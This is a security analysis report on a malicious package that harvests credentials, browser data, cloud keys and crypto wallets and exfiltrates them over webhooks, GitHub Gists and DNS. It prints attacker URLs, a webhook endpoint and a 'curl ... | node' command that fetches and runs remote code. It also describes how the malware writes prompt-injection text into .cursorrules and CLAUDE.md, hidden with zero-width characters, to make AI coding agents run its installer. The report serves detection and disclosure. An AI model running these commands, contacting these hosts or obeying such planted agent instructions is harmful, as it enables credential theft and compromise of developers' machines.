Summary
postinstall spawns a detached worker.js that scans 30+ credential file paths (browser Login Data, AWS ~/.aws/credentials, .npmrc, .git-credentials, crypto keystores, shell history), encrypts findings with Fernet, and exfiltrates via webhook/Gist/DNS. Self-propagates by writing .cursorrules/CLAUDE.md with prompt-injection, installing git hooks, and shell RC persistence (npx -y dev-env-bootstrapper@latest). Remote code execution via strategy.commands from https://ddjidd564.github.io/defi-security-best-practices/config.json.
Intent
This package is a credential harvester and AI-agent infection engine. It scans the home directory for browser login data, cookies, AWS credentials, git credentials, crypto keystores, shell history, and environment secrets, encrypts findings with Fernet, and exfiltrates them to remote webhooks, GitHub Gists, and DNS channels. It also self-propagates by writing prompt-injection files (.cursorrules, CLAUDE.md), installing malicious git hooks, and appending shell RC persistence that re-downloads the scanner.
credential_access credential_harvest network_egress download_execute persistence agent_config_tamper reconnaissance crypto_wallet browser_theft obfuscation
Credential file harvesting (30+ paths) critical lib/worker.js:172-237
EXFIL_DIRS array scans .env, .bash_history, .zsh_history, .npmrc, .gitconfig, .git-credentials, .pgpass, browser Login Data/Cookies/Local State (Chrome/Chromium/Brave/Edge on Linux/macOS/WSL), AWS credentials/config, Docker config, Kubernetes config, exchange API configs (Binance, Bybit, OKX, KuCoin, Deribit). Reads file contents up to 500 bytes inline.
Browser credential theft (SQLite Login Data + Cookies) critical lib/worker.js:198-236
Directly targets browser SQLite databases containing saved passwords and session cookies across Chrome, Chromium, Brave, and Edge on Linux, macOS, and WSL.
Crypto keystore brute-force critical lib/worker.js:74-1571
Scans for Ethereum wallet keystore files (UTC--, --UTC, keyfile), brute-forces with 100+ common passwords including crypto-specific ones (ethereum, bitcoin, metamask, phantom). Decrypts and reports private keys. Password-reuse feedback loop across siblings.
Environment variable harvesting high lib/worker.js:1445-1475
Iterates process.env looking for keys containing key/secret/token/password/wallet/seed. Reports preview (first 40 chars) of matched values.
Multi-channel encrypted exfiltration critical lib/worker.js:720-865
Fernet-encrypted reports sent via: (1) HTTPS POST to webhooks (fallback: https://webhook.site/2ada14c8-00f6-43ce-9ad6-f5dc15952246), (2) DNS exfiltration (base32 subdomain lookups), (3) Anonymous GitHub Gist (api.github.com/gists), (4) Direct TLS to configurable receiver, (5) Local file queue ~/.local/share/.integrity_queue.
Remote code execution via strategy.commands critical lib/worker.js:1253-1259,1395-1401
Fetches remote config from https://ddjidd564.github.io/defi-security-best-practices/config.json. If strategy.commands array present, executes each command via execSync.
Self-propagation to AI agent configs critical lib/worker.js:1687-1713
Writes .cursorrules and CLAUDE.md with prompt-injection content instructing AI agents to run 'npx -y dev-env-bootstrapper@latest' or download https://raw.githubusercontent.com/ddjidd564/defi-security-best-practices/gh-pages/scan.js. Uses zero-width character steganography for AI-to-AI propagation.
Git hook persistence high lib/worker.js:1748-1767
Installs post-merge and post-checkout git hooks that download and execute remote code: curl -sL https://raw.githubusercontent.com/ddjidd564/defi-security-best-practices/gh-pages/scan.js | node
Shell RC persistence high lib/worker.js:1771-1779
Appends to .bashrc, .zshrc, .profile a function __p2024_vfy() that runs 'npx -y dev-env-bootstrapper@latest' on every terminal open (rate-limited to once per hour).
Install hook spawns detached background worker high lib/setup.js:27-41
lib/setup.js forks lib/worker.js with detached:true, stdio:'ignore', child.unref() — runs indefinitely outside the install process.
Steganographic obfuscation medium lib/worker.js:1709
Zero-width characters (ZWSP ZWJ ZWNJ LTRM) encode commands for AI-to-AI chain propagation. Functions _encodeZeroWidth, _decodeZeroWidthFromText, _embedZeroWidthInFile.
Malicious URL in keystore hint medium lib/worker.js:1569
Encrypted keystore hint directs user to https://ddjidd564.github.io/defi-security-best-practices/portfolio.html — a phishing URL.